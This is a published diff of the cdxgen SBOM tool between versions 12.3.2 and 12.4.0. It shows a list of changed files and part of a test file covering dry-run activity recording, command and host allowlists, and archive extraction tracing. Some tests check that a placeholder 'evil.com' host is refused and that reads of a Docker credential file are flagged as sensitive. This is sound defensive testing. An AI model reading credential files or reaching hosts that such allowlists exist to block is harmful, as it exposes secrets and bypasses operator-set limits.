@cyclonedx/cdxgen 12.3.2 → 12.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +70 -22
- package/bin/audit.js +21 -7
- package/bin/cdxgen.js +238 -116
- package/bin/convert.js +28 -13
- package/bin/hbom.js +490 -0
- package/bin/repl.js +580 -29
- package/bin/validate.js +34 -4
- package/bin/verify.js +40 -5
- package/data/README.md +298 -25
- package/data/component-tags.json +6 -0
- package/data/crypto-oid.json +16 -0
- package/data/predictive-audit-allowlist.json +11 -0
- package/data/queries-darwin.json +12 -1
- package/data/queries-win.json +7 -1
- package/data/queries.json +39 -2
- package/data/rules/ai-agent-governance.yaml +16 -0
- package/data/rules/asar-archives.yaml +150 -0
- package/data/rules/chrome-extensions.yaml +8 -0
- package/data/rules/ci-permissions.yaml +171 -15
- package/data/rules/container-risk.yaml +14 -7
- package/data/rules/dependency-sources.yaml +76 -5
- package/data/rules/hbom-compliance.yaml +325 -0
- package/data/rules/hbom-performance.yaml +307 -0
- package/data/rules/hbom-security.yaml +248 -0
- package/data/rules/host-topology.yaml +165 -0
- package/data/rules/mcp-servers.yaml +18 -3
- package/data/rules/obom-runtime.yaml +907 -22
- package/data/rules/package-integrity.yaml +36 -0
- package/data/rules/rootfs-hardening.yaml +179 -0
- package/data/rules/vscode-extensions.yaml +9 -0
- package/lib/audit/index.js +209 -8
- package/lib/audit/index.poku.js +332 -0
- package/lib/audit/reporters.js +222 -0
- package/lib/audit/targets.js +146 -1
- package/lib/audit/targets.poku.js +186 -0
- package/lib/cli/asar.poku.js +328 -0
- package/lib/cli/index.js +647 -127
- package/lib/cli/index.poku.js +1905 -187
- package/lib/evinser/evinser.js +14 -9
- package/lib/helpers/agentFormulationParser.js +6 -2
- package/lib/helpers/agentFormulationParser.poku.js +42 -0
- package/lib/helpers/analyzer.js +1444 -38
- package/lib/helpers/analyzer.poku.js +409 -0
- package/lib/helpers/analyzerScope.js +712 -0
- package/lib/helpers/asarutils.js +1556 -0
- package/lib/helpers/asarutils.poku.js +443 -0
- package/lib/helpers/auditCategories.js +12 -0
- package/lib/helpers/auditCategories.poku.js +32 -0
- package/lib/helpers/cbomutils.js +271 -1
- package/lib/helpers/cbomutils.poku.js +248 -5
- package/lib/helpers/chromextutils.js +25 -3
- package/lib/helpers/chromextutils.poku.js +68 -0
- package/lib/helpers/ciParsers/githubActions.js +79 -0
- package/lib/helpers/ciParsers/githubActions.poku.js +103 -0
- package/lib/helpers/communityAiConfigParser.js +15 -5
- package/lib/helpers/communityAiConfigParser.poku.js +71 -0
- package/lib/helpers/depsUtils.js +5 -0
- package/lib/helpers/depsUtils.poku.js +55 -0
- package/lib/helpers/display.js +336 -23
- package/lib/helpers/display.poku.js +179 -43
- package/lib/helpers/evidenceUtils.js +58 -0
- package/lib/helpers/evidenceUtils.poku.js +54 -0
- package/lib/helpers/exportUtils.js +9 -0
- package/lib/helpers/gtfobins.js +142 -8
- package/lib/helpers/gtfobins.poku.js +24 -1
- package/lib/helpers/hbom.js +710 -0
- package/lib/helpers/hbom.poku.js +496 -0
- package/lib/helpers/hbomAnalysis.js +268 -0
- package/lib/helpers/hbomAnalysis.poku.js +249 -0
- package/lib/helpers/hbomLoader.js +35 -0
- package/lib/helpers/hostTopology.js +803 -0
- package/lib/helpers/hostTopology.poku.js +363 -0
- package/lib/helpers/inventoryStats.js +69 -0
- package/lib/helpers/inventoryStats.poku.js +86 -0
- package/lib/helpers/lolbas.js +19 -1
- package/lib/helpers/lolbas.poku.js +23 -0
- package/lib/helpers/mcpConfigParser.js +21 -5
- package/lib/helpers/mcpConfigParser.poku.js +39 -2
- package/lib/helpers/osqueryTransform.js +47 -0
- package/lib/helpers/osqueryTransform.poku.js +47 -0
- package/lib/helpers/plugins.js +349 -0
- package/lib/helpers/plugins.poku.js +57 -0
- package/lib/helpers/propertySanitizer.js +121 -0
- package/lib/helpers/protobom.js +156 -45
- package/lib/helpers/protobom.poku.js +140 -5
- package/lib/helpers/remote/dependency-track.js +36 -3
- package/lib/helpers/remote/dependency-track.poku.js +44 -0
- package/lib/helpers/source.js +24 -0
- package/lib/helpers/source.poku.js +32 -0
- package/lib/helpers/utils.js +2454 -198
- package/lib/helpers/utils.poku.js +1798 -74
- package/lib/managers/binary.e2e.poku.js +367 -0
- package/lib/managers/binary.js +2306 -350
- package/lib/managers/binary.poku.js +1700 -1
- package/lib/managers/docker.js +441 -95
- package/lib/managers/docker.poku.js +1479 -14
- package/lib/server/server.js +2 -24
- package/lib/server/server.poku.js +36 -1
- package/lib/stages/postgen/annotator.js +38 -0
- package/lib/stages/postgen/annotator.poku.js +107 -1
- package/lib/stages/postgen/auditBom.js +121 -18
- package/lib/stages/postgen/auditBom.poku.js +2967 -990
- package/lib/stages/postgen/hostTopologyAudit.poku.js +186 -0
- package/lib/stages/postgen/postgen.js +192 -1
- package/lib/stages/postgen/postgen.poku.js +321 -0
- package/lib/stages/postgen/ruleEngine.js +116 -0
- package/lib/stages/pregen/envAudit.js +14 -3
- package/package.json +24 -21
- package/types/bin/hbom.d.ts +3 -0
- package/types/bin/hbom.d.ts.map +1 -0
- package/types/bin/repl.d.ts.map +1 -1
- package/types/lib/audit/index.d.ts +44 -0
- package/types/lib/audit/index.d.ts.map +1 -1
- package/types/lib/audit/reporters.d.ts +16 -0
- package/types/lib/audit/reporters.d.ts.map +1 -1
- package/types/lib/audit/targets.d.ts.map +1 -1
- package/types/lib/cli/index.d.ts +16 -0
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/evinser/evinser.d.ts +4 -0
- package/types/lib/evinser/evinser.d.ts.map +1 -1
- package/types/lib/helpers/agentFormulationParser.d.ts.map +1 -1
- package/types/lib/helpers/analyzer.d.ts +33 -0
- package/types/lib/helpers/analyzer.d.ts.map +1 -1
- package/types/lib/helpers/analyzerScope.d.ts +11 -0
- package/types/lib/helpers/analyzerScope.d.ts.map +1 -0
- package/types/lib/helpers/asarutils.d.ts +34 -0
- package/types/lib/helpers/asarutils.d.ts.map +1 -0
- package/types/lib/helpers/auditCategories.d.ts +5 -0
- package/types/lib/helpers/auditCategories.d.ts.map +1 -1
- package/types/lib/helpers/cbomutils.d.ts +3 -2
- package/types/lib/helpers/cbomutils.d.ts.map +1 -1
- package/types/lib/helpers/chromextutils.d.ts.map +1 -1
- package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
- package/types/lib/helpers/communityAiConfigParser.d.ts.map +1 -1
- package/types/lib/helpers/depsUtils.d.ts.map +1 -1
- package/types/lib/helpers/display.d.ts +1 -0
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/evidenceUtils.d.ts +8 -0
- package/types/lib/helpers/evidenceUtils.d.ts.map +1 -0
- package/types/lib/helpers/exportUtils.d.ts.map +1 -1
- package/types/lib/helpers/gtfobins.d.ts +8 -0
- package/types/lib/helpers/gtfobins.d.ts.map +1 -1
- package/types/lib/helpers/hbom.d.ts +49 -0
- package/types/lib/helpers/hbom.d.ts.map +1 -0
- package/types/lib/helpers/hbomAnalysis.d.ts +62 -0
- package/types/lib/helpers/hbomAnalysis.d.ts.map +1 -0
- package/types/lib/helpers/hbomLoader.d.ts +7 -0
- package/types/lib/helpers/hbomLoader.d.ts.map +1 -0
- package/types/lib/helpers/hostTopology.d.ts +12 -0
- package/types/lib/helpers/hostTopology.d.ts.map +1 -0
- package/types/lib/helpers/inventoryStats.d.ts +11 -0
- package/types/lib/helpers/inventoryStats.d.ts.map +1 -0
- package/types/lib/helpers/lolbas.d.ts.map +1 -1
- package/types/lib/helpers/mcpConfigParser.d.ts +1 -1
- package/types/lib/helpers/mcpConfigParser.d.ts.map +1 -1
- package/types/lib/helpers/osqueryTransform.d.ts +3 -0
- package/types/lib/helpers/osqueryTransform.d.ts.map +1 -1
- package/types/lib/helpers/plugins.d.ts +58 -0
- package/types/lib/helpers/plugins.d.ts.map +1 -0
- package/types/lib/helpers/propertySanitizer.d.ts +3 -0
- package/types/lib/helpers/propertySanitizer.d.ts.map +1 -0
- package/types/lib/helpers/protobom.d.ts +3 -4
- package/types/lib/helpers/protobom.d.ts.map +1 -1
- package/types/lib/helpers/remote/dependency-track.d.ts +10 -3
- package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -1
- package/types/lib/helpers/source.d.ts.map +1 -1
- package/types/lib/helpers/utils.d.ts +74 -8
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/managers/binary.d.ts +5 -0
- package/types/lib/managers/binary.d.ts.map +1 -1
- package/types/lib/managers/docker.d.ts +3 -0
- package/types/lib/managers/docker.d.ts.map +1 -1
- package/types/lib/server/server.d.ts +2 -0
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
- package/types/lib/stages/postgen/auditBom.d.ts +26 -1
- package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
- package/types/lib/stages/postgen/postgen.d.ts +2 -1
- package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
- package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
- package/types/lib/stages/pregen/envAudit.d.ts.map +1 -1
- package/data/spdx-model-v3.0.1.jsonld +0 -15999
|
@@ -1,14 +1,16 @@
|
|
|
1
1
|
import { Buffer } from "node:buffer";
|
|
2
2
|
import {
|
|
3
|
+
chmodSync,
|
|
3
4
|
existsSync,
|
|
4
5
|
mkdirSync,
|
|
5
6
|
mkdtempSync,
|
|
6
7
|
readFileSync,
|
|
7
8
|
rmSync,
|
|
9
|
+
symlinkSync,
|
|
8
10
|
unlinkSync,
|
|
9
11
|
writeFileSync,
|
|
10
12
|
} from "node:fs";
|
|
11
|
-
import { tmpdir } from "node:os";
|
|
13
|
+
import { platform, tmpdir } from "node:os";
|
|
12
14
|
import path from "node:path";
|
|
13
15
|
import process from "node:process";
|
|
14
16
|
|
|
@@ -21,14 +23,23 @@ import { parse as loadYaml } from "yaml";
|
|
|
21
23
|
|
|
22
24
|
import { validateRefs } from "../validator/bomValidator.js";
|
|
23
25
|
import {
|
|
26
|
+
addEvidenceForDotnet,
|
|
27
|
+
addEvidenceForImports,
|
|
28
|
+
attachIdentityTools,
|
|
24
29
|
buildObjectForCocoaPod,
|
|
25
30
|
buildObjectForGradleModule,
|
|
31
|
+
cdxgenAgent,
|
|
32
|
+
collectExecutables,
|
|
33
|
+
collectSharedLibs,
|
|
26
34
|
convertOSQueryResults,
|
|
27
35
|
encodeForPurl,
|
|
36
|
+
extractToolRefs,
|
|
28
37
|
findLicenseId,
|
|
29
38
|
findPnpmPackagePath,
|
|
39
|
+
getAllFiles,
|
|
30
40
|
getCratesMetadata,
|
|
31
41
|
getDartMetadata,
|
|
42
|
+
getDefaultBomAuditCategories,
|
|
32
43
|
getLicenses,
|
|
33
44
|
getMvnMetadata,
|
|
34
45
|
getPropertyGroupTextNodes,
|
|
@@ -37,6 +48,7 @@ import {
|
|
|
37
48
|
guessPypiMatchingVersion,
|
|
38
49
|
hasAnyProjectType,
|
|
39
50
|
inferJarGroupFromManifest,
|
|
51
|
+
isAllowedHttpHost,
|
|
40
52
|
isDryRunError,
|
|
41
53
|
isPackageManagerAllowed,
|
|
42
54
|
isPartialTree,
|
|
@@ -59,6 +71,7 @@ import {
|
|
|
59
71
|
parseCmakeDotFile,
|
|
60
72
|
parseCmakeLikeFile,
|
|
61
73
|
parseCocoaDependency,
|
|
74
|
+
parseColliderLockData,
|
|
62
75
|
parseComposerJson,
|
|
63
76
|
parseComposerLock,
|
|
64
77
|
parseConanData,
|
|
@@ -127,14 +140,19 @@ import {
|
|
|
127
140
|
parseYarnLock,
|
|
128
141
|
pnpmMetadata,
|
|
129
142
|
purlFromUrlString,
|
|
143
|
+
readEnvironmentVariable,
|
|
130
144
|
readZipEntry,
|
|
145
|
+
recordSensitiveFileRead,
|
|
146
|
+
recordSymlinkResolution,
|
|
131
147
|
resetRecordedActivities,
|
|
148
|
+
safeExistsSync,
|
|
132
149
|
safeMkdtempSync,
|
|
133
150
|
safeRmSync,
|
|
134
151
|
safeSpawnSync,
|
|
135
152
|
safeUnlinkSync,
|
|
136
153
|
safeWriteSync,
|
|
137
154
|
setDryRunMode,
|
|
155
|
+
shouldRunPredictiveBomAudit,
|
|
138
156
|
splitOutputByGradleProjects,
|
|
139
157
|
toGemModuleNames,
|
|
140
158
|
trimJarGroupSuffix,
|
|
@@ -143,6 +161,23 @@ import {
|
|
|
143
161
|
|
|
144
162
|
const jarMetadataFixturesDir = path.resolve("test", "data", "jar-metadata");
|
|
145
163
|
|
|
164
|
+
function createMockedProcess(envOverrides = {}) {
|
|
165
|
+
const env = {
|
|
166
|
+
...process.env,
|
|
167
|
+
};
|
|
168
|
+
for (const [key, value] of Object.entries(envOverrides)) {
|
|
169
|
+
if (value === undefined) {
|
|
170
|
+
delete env[key];
|
|
171
|
+
} else {
|
|
172
|
+
env[key] = value;
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
const mockedProcess = Object.create(process);
|
|
176
|
+
mockedProcess.argv = [...process.argv];
|
|
177
|
+
mockedProcess.env = env;
|
|
178
|
+
return mockedProcess;
|
|
179
|
+
}
|
|
180
|
+
|
|
146
181
|
function readJarMetadataFixture(...segments) {
|
|
147
182
|
return readFileSync(path.join(jarMetadataFixturesDir, ...segments), {
|
|
148
183
|
encoding: "utf-8",
|
|
@@ -275,15 +310,320 @@ it("safeSpawnSync() returns a dry-run sentinel result when dry run mode is enabl
|
|
|
275
310
|
const result = safeSpawnSync("node", ["--version"], {});
|
|
276
311
|
assert.strictEqual(result.status, 1);
|
|
277
312
|
assert.ok(isDryRunError(result.error));
|
|
278
|
-
const
|
|
279
|
-
|
|
280
|
-
|
|
313
|
+
const executeActivity = getRecordedActivities().find(
|
|
314
|
+
(activity) => activity.kind === "execute",
|
|
315
|
+
);
|
|
316
|
+
assert.ok(executeActivity);
|
|
317
|
+
assert.strictEqual(executeActivity.status, "blocked");
|
|
318
|
+
} finally {
|
|
319
|
+
setDryRunMode(false);
|
|
320
|
+
resetRecordedActivities();
|
|
321
|
+
}
|
|
322
|
+
});
|
|
323
|
+
|
|
324
|
+
it("safeSpawnSync() does not classify non-probe -v commands as version checks", () => {
|
|
325
|
+
setDryRunMode(true);
|
|
326
|
+
resetRecordedActivities();
|
|
327
|
+
try {
|
|
328
|
+
safeSpawnSync("swift", ["package", "-v", "resolve"], {});
|
|
329
|
+
const executeActivity = getRecordedActivities().find(
|
|
330
|
+
(activity) => activity.kind === "execute",
|
|
331
|
+
);
|
|
332
|
+
assert.ok(executeActivity);
|
|
333
|
+
assert.strictEqual(executeActivity.probeType, undefined);
|
|
334
|
+
assert.ok(!/version check/i.test(executeActivity.reason));
|
|
335
|
+
} finally {
|
|
336
|
+
setDryRunMode(false);
|
|
337
|
+
resetRecordedActivities();
|
|
338
|
+
}
|
|
339
|
+
});
|
|
340
|
+
|
|
341
|
+
it("safeSpawnSync() reads CDXGEN_ALLOWED_COMMANDS once per invocation", () => {
|
|
342
|
+
const originalAllowedCommands = process.env.CDXGEN_ALLOWED_COMMANDS;
|
|
343
|
+
process.env.CDXGEN_ALLOWED_COMMANDS = "echo-cdxgen-test";
|
|
344
|
+
setDryRunMode(true);
|
|
345
|
+
resetRecordedActivities();
|
|
346
|
+
try {
|
|
347
|
+
safeSpawnSync("echo-cdxgen-test", ["value"], {});
|
|
348
|
+
const envActivities = getRecordedActivities().filter(
|
|
349
|
+
(activity) => activity.target === "process.env:CDXGEN_ALLOWED_COMMANDS",
|
|
350
|
+
);
|
|
351
|
+
assert.strictEqual(envActivities.length, 1);
|
|
352
|
+
assert.strictEqual(envActivities[0].count, 1);
|
|
353
|
+
} finally {
|
|
354
|
+
if (originalAllowedCommands === undefined) {
|
|
355
|
+
delete process.env.CDXGEN_ALLOWED_COMMANDS;
|
|
356
|
+
} else {
|
|
357
|
+
process.env.CDXGEN_ALLOWED_COMMANDS = originalAllowedCommands;
|
|
358
|
+
}
|
|
359
|
+
setDryRunMode(false);
|
|
360
|
+
resetRecordedActivities();
|
|
361
|
+
}
|
|
362
|
+
});
|
|
363
|
+
|
|
364
|
+
it("safeSpawnSync() records stdout and stderr byte sizes in debug mode", async () => {
|
|
365
|
+
const mockedProcess = createMockedProcess({
|
|
366
|
+
CDXGEN_ALLOWED_COMMANDS: "echo-cdxgen-test",
|
|
367
|
+
CDXGEN_DEBUG_MODE: "debug",
|
|
368
|
+
CDXGEN_SECURE_MODE: undefined,
|
|
369
|
+
NODE_OPTIONS: undefined,
|
|
370
|
+
});
|
|
371
|
+
const utilsModule = await esmock("./utils.js", {
|
|
372
|
+
"node:child_process": {
|
|
373
|
+
spawnSync: sinon.stub().returns({
|
|
374
|
+
status: 0,
|
|
375
|
+
stdout: "hello",
|
|
376
|
+
stderr: "warn",
|
|
377
|
+
}),
|
|
378
|
+
},
|
|
379
|
+
"node:process": {
|
|
380
|
+
default: mockedProcess,
|
|
381
|
+
},
|
|
382
|
+
});
|
|
383
|
+
utilsModule.resetRecordedActivities();
|
|
384
|
+
utilsModule.safeSpawnSync("echo-cdxgen-test", ["value"], {});
|
|
385
|
+
const executeActivity = utilsModule
|
|
386
|
+
.getRecordedActivities()
|
|
387
|
+
.find(
|
|
388
|
+
(activity) =>
|
|
389
|
+
activity.kind === "execute" &&
|
|
390
|
+
activity.target === "echo-cdxgen-test value",
|
|
391
|
+
);
|
|
392
|
+
assert.ok(executeActivity);
|
|
393
|
+
assert.strictEqual(executeActivity.stdoutBytes, 5);
|
|
394
|
+
assert.strictEqual(executeActivity.stderrBytes, 4);
|
|
395
|
+
utilsModule.resetRecordedActivities();
|
|
396
|
+
});
|
|
397
|
+
|
|
398
|
+
it("safeExtractArchive() records source byte size in debug mode", async () => {
|
|
399
|
+
const mockedProcess = createMockedProcess({
|
|
400
|
+
CDXGEN_ALLOWED_COMMANDS: undefined,
|
|
401
|
+
CDXGEN_DEBUG_MODE: "debug",
|
|
402
|
+
CDXGEN_SECURE_MODE: undefined,
|
|
403
|
+
NODE_OPTIONS: undefined,
|
|
404
|
+
});
|
|
405
|
+
const utilsModule = await esmock("./utils.js", {
|
|
406
|
+
"node:process": {
|
|
407
|
+
default: mockedProcess,
|
|
408
|
+
},
|
|
409
|
+
});
|
|
410
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
|
|
411
|
+
const sourcePath = path.join(tempDir, "archive.zip");
|
|
412
|
+
const targetPath = path.join(tempDir, "extracted");
|
|
413
|
+
mkdirSync(targetPath, { recursive: true });
|
|
414
|
+
writeFileSync(sourcePath, "abc");
|
|
415
|
+
utilsModule.resetRecordedActivities();
|
|
416
|
+
await utilsModule.safeExtractArchive(
|
|
417
|
+
sourcePath,
|
|
418
|
+
targetPath,
|
|
419
|
+
async () => {
|
|
420
|
+
writeFileSync(path.join(targetPath, "a.txt"), "hello");
|
|
421
|
+
mkdirSync(path.join(targetPath, "nested"), { recursive: true });
|
|
422
|
+
writeFileSync(path.join(targetPath, "nested", "b.txt"), "xy");
|
|
423
|
+
},
|
|
424
|
+
"unzip",
|
|
425
|
+
);
|
|
426
|
+
const archiveActivity = utilsModule
|
|
427
|
+
.getRecordedActivities()
|
|
428
|
+
.find(
|
|
429
|
+
(activity) =>
|
|
430
|
+
activity.kind === "unzip" &&
|
|
431
|
+
activity.target === `${sourcePath} -> ${targetPath}`,
|
|
432
|
+
);
|
|
433
|
+
assert.ok(archiveActivity);
|
|
434
|
+
assert.strictEqual(archiveActivity.status, "completed");
|
|
435
|
+
assert.strictEqual(archiveActivity.sourceBytes, 3);
|
|
436
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
437
|
+
});
|
|
438
|
+
|
|
439
|
+
it("safeExtractArchive() records failed extraction activity in debug mode", async () => {
|
|
440
|
+
const mockedProcess = createMockedProcess({
|
|
441
|
+
CDXGEN_ALLOWED_COMMANDS: undefined,
|
|
442
|
+
CDXGEN_DEBUG_MODE: "debug",
|
|
443
|
+
CDXGEN_SECURE_MODE: undefined,
|
|
444
|
+
NODE_OPTIONS: undefined,
|
|
445
|
+
});
|
|
446
|
+
const utilsModule = await esmock("./utils.js", {
|
|
447
|
+
"node:process": {
|
|
448
|
+
default: mockedProcess,
|
|
449
|
+
},
|
|
450
|
+
});
|
|
451
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
|
|
452
|
+
const sourcePath = path.join(tempDir, "archive.tar");
|
|
453
|
+
const targetPath = path.join(tempDir, "extracted");
|
|
454
|
+
mkdirSync(targetPath, { recursive: true });
|
|
455
|
+
writeFileSync(sourcePath, "abcd");
|
|
456
|
+
utilsModule.resetRecordedActivities();
|
|
457
|
+
const extractionError = new Error("permission denied");
|
|
458
|
+
extractionError.code = "EACCES";
|
|
459
|
+
await assert.rejects(
|
|
460
|
+
utilsModule.safeExtractArchive(
|
|
461
|
+
sourcePath,
|
|
462
|
+
targetPath,
|
|
463
|
+
async () => {
|
|
464
|
+
throw extractionError;
|
|
465
|
+
},
|
|
466
|
+
"untar",
|
|
467
|
+
),
|
|
468
|
+
extractionError,
|
|
469
|
+
);
|
|
470
|
+
const archiveActivity = utilsModule
|
|
471
|
+
.getRecordedActivities()
|
|
472
|
+
.find(
|
|
473
|
+
(activity) =>
|
|
474
|
+
activity.kind === "untar" &&
|
|
475
|
+
activity.target === `${sourcePath} -> ${targetPath}`,
|
|
476
|
+
);
|
|
477
|
+
assert.ok(archiveActivity);
|
|
478
|
+
assert.strictEqual(archiveActivity.status, "failed");
|
|
479
|
+
assert.strictEqual(archiveActivity.errorCode, "EACCES");
|
|
480
|
+
assert.strictEqual(archiveActivity.sourceBytes, 4);
|
|
481
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
482
|
+
});
|
|
483
|
+
|
|
484
|
+
it("records dry-run environment variable reads via helper access", () => {
|
|
485
|
+
const originalEnvValue = process.env.CDXGEN_TEST_ENV_READ;
|
|
486
|
+
process.env.CDXGEN_TEST_ENV_READ = "trace-me";
|
|
487
|
+
setDryRunMode(true);
|
|
488
|
+
resetRecordedActivities();
|
|
489
|
+
try {
|
|
490
|
+
readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
|
|
491
|
+
readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
|
|
492
|
+
const activities = getRecordedActivities().filter(
|
|
493
|
+
(activity) => activity.target === "process.env:CDXGEN_TEST_ENV_READ",
|
|
494
|
+
);
|
|
495
|
+
assert.strictEqual(activities.length, 1);
|
|
496
|
+
assert.strictEqual(activities[0].kind, "env");
|
|
497
|
+
assert.match(activities[0].reason, /2 times/);
|
|
498
|
+
} finally {
|
|
499
|
+
if (originalEnvValue === undefined) {
|
|
500
|
+
delete process.env.CDXGEN_TEST_ENV_READ;
|
|
501
|
+
} else {
|
|
502
|
+
process.env.CDXGEN_TEST_ENV_READ = originalEnvValue;
|
|
503
|
+
}
|
|
504
|
+
setDryRunMode(false);
|
|
505
|
+
resetRecordedActivities();
|
|
506
|
+
}
|
|
507
|
+
});
|
|
508
|
+
|
|
509
|
+
it("isAllowedHttpHost() honors exact and wildcard host allowlists", () => {
|
|
510
|
+
const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
|
|
511
|
+
try {
|
|
512
|
+
process.env.CDXGEN_ALLOWED_HOSTS = "example.com,*.trusted.test";
|
|
513
|
+
assert.strictEqual(isAllowedHttpHost("example.com"), true);
|
|
514
|
+
assert.strictEqual(isAllowedHttpHost("api.trusted.test"), true);
|
|
515
|
+
assert.strictEqual(isAllowedHttpHost("trusted.test"), false);
|
|
516
|
+
assert.strictEqual(isAllowedHttpHost("evil.com"), false);
|
|
517
|
+
} finally {
|
|
518
|
+
if (originalAllowedHosts === undefined) {
|
|
519
|
+
delete process.env.CDXGEN_ALLOWED_HOSTS;
|
|
520
|
+
} else {
|
|
521
|
+
process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
|
|
522
|
+
}
|
|
523
|
+
}
|
|
524
|
+
});
|
|
525
|
+
|
|
526
|
+
it("deduplicates sensitive file read activity entries in dry-run mode", () => {
|
|
527
|
+
setDryRunMode(true);
|
|
528
|
+
resetRecordedActivities();
|
|
529
|
+
try {
|
|
530
|
+
recordSensitiveFileRead("/tmp/docker/config.json", {
|
|
531
|
+
label: "Docker credential file",
|
|
532
|
+
});
|
|
533
|
+
recordSensitiveFileRead("/tmp/docker/config.json", {
|
|
534
|
+
label: "Docker credential file",
|
|
535
|
+
});
|
|
536
|
+
const activities = getRecordedActivities().filter(
|
|
537
|
+
(activity) => activity.target === "/tmp/docker/config.json",
|
|
538
|
+
);
|
|
539
|
+
assert.strictEqual(activities.length, 1);
|
|
540
|
+
assert.strictEqual(activities[0].kind, "read");
|
|
541
|
+
assert.match(activities[0].reason, /2 times/);
|
|
542
|
+
} finally {
|
|
543
|
+
setDryRunMode(false);
|
|
544
|
+
resetRecordedActivities();
|
|
545
|
+
}
|
|
546
|
+
});
|
|
547
|
+
|
|
548
|
+
it("records classified manifest and config inspections in dry-run mode", () => {
|
|
549
|
+
const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-inspect-"));
|
|
550
|
+
const packageJsonFile = path.join(tmpRoot, "package.json");
|
|
551
|
+
const settingsXmlFile = path.join(tmpRoot, "settings.xml");
|
|
552
|
+
writeFileSync(packageJsonFile, "{}");
|
|
553
|
+
writeFileSync(settingsXmlFile, "<settings />");
|
|
554
|
+
setDryRunMode(true);
|
|
555
|
+
resetRecordedActivities();
|
|
556
|
+
try {
|
|
557
|
+
assert.ok(safeExistsSync(packageJsonFile));
|
|
558
|
+
assert.ok(safeExistsSync(settingsXmlFile));
|
|
559
|
+
const activities = getRecordedActivities().filter((activity) =>
|
|
560
|
+
[packageJsonFile, settingsXmlFile].includes(activity.target),
|
|
561
|
+
);
|
|
562
|
+
assert.strictEqual(activities.length, 2);
|
|
563
|
+
assert.deepStrictEqual(
|
|
564
|
+
activities.map((activity) => activity.kind),
|
|
565
|
+
["inspect", "inspect"],
|
|
566
|
+
);
|
|
567
|
+
assert.deepStrictEqual(
|
|
568
|
+
activities.map((activity) => activity.classification),
|
|
569
|
+
["manifest", "config"],
|
|
570
|
+
);
|
|
571
|
+
} finally {
|
|
572
|
+
setDryRunMode(false);
|
|
573
|
+
resetRecordedActivities();
|
|
574
|
+
rmSync(tmpRoot, { force: true, recursive: true });
|
|
575
|
+
}
|
|
576
|
+
});
|
|
577
|
+
|
|
578
|
+
it("records recursive file discovery activity in dry-run mode", () => {
|
|
579
|
+
const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
|
|
580
|
+
const packageJsonFile = path.join(tmpRoot, "package.json");
|
|
581
|
+
writeFileSync(packageJsonFile, "{}");
|
|
582
|
+
setDryRunMode(true);
|
|
583
|
+
resetRecordedActivities();
|
|
584
|
+
try {
|
|
585
|
+
const files = getAllFiles(tmpRoot, "**/package.json");
|
|
586
|
+
assert.deepStrictEqual(files, [packageJsonFile]);
|
|
587
|
+
const activities = getRecordedActivities().filter((activity) =>
|
|
588
|
+
activity.target.includes("**/package.json"),
|
|
589
|
+
);
|
|
590
|
+
assert.strictEqual(activities.length, 1);
|
|
591
|
+
assert.strictEqual(activities[0].kind, "discover");
|
|
592
|
+
assert.strictEqual(activities[0].discoveryType, "manifest-discovery");
|
|
281
593
|
} finally {
|
|
282
594
|
setDryRunMode(false);
|
|
283
595
|
resetRecordedActivities();
|
|
596
|
+
rmSync(tmpRoot, { force: true, recursive: true });
|
|
284
597
|
}
|
|
285
598
|
});
|
|
286
599
|
|
|
600
|
+
it("records updated discovery activity when a repeated glob match count changes", () => {
|
|
601
|
+
const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
|
|
602
|
+
const packageJsonFile = path.join(tmpRoot, "package.json");
|
|
603
|
+
const nestedDir = path.join(tmpRoot, "nested");
|
|
604
|
+
const nestedPackageJsonFile = path.join(nestedDir, "package.json");
|
|
605
|
+
writeFileSync(packageJsonFile, "{}");
|
|
606
|
+
setDryRunMode(true);
|
|
607
|
+
resetRecordedActivities();
|
|
608
|
+
try {
|
|
609
|
+
getAllFiles(tmpRoot, "**/package.json");
|
|
610
|
+
mkdirSync(nestedDir, { recursive: true });
|
|
611
|
+
writeFileSync(nestedPackageJsonFile, "{}");
|
|
612
|
+
getAllFiles(tmpRoot, "**/package.json");
|
|
613
|
+
const activities = getRecordedActivities().filter((activity) =>
|
|
614
|
+
activity.target.includes("**/package.json"),
|
|
615
|
+
);
|
|
616
|
+
assert.strictEqual(activities.length, 2);
|
|
617
|
+
assert.deepStrictEqual(
|
|
618
|
+
activities.map((activity) => activity.matchedCount),
|
|
619
|
+
[1, 2],
|
|
620
|
+
);
|
|
621
|
+
} finally {
|
|
622
|
+
setDryRunMode(false);
|
|
623
|
+
resetRecordedActivities();
|
|
624
|
+
rmSync(tmpRoot, { force: true, recursive: true });
|
|
625
|
+
}
|
|
626
|
+
});
|
|
287
627
|
it("dry-run filesystem wrappers do not mutate the filesystem", () => {
|
|
288
628
|
const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-"));
|
|
289
629
|
const fileToKeep = path.join(tmpRoot, "keep.txt");
|
|
@@ -439,6 +779,37 @@ it("cdxgenAgent records completed and failed network activity outcomes", async (
|
|
|
439
779
|
}
|
|
440
780
|
});
|
|
441
781
|
|
|
782
|
+
it("cdxgenAgent reads CDXGEN_ALLOWED_HOSTS once per request", () => {
|
|
783
|
+
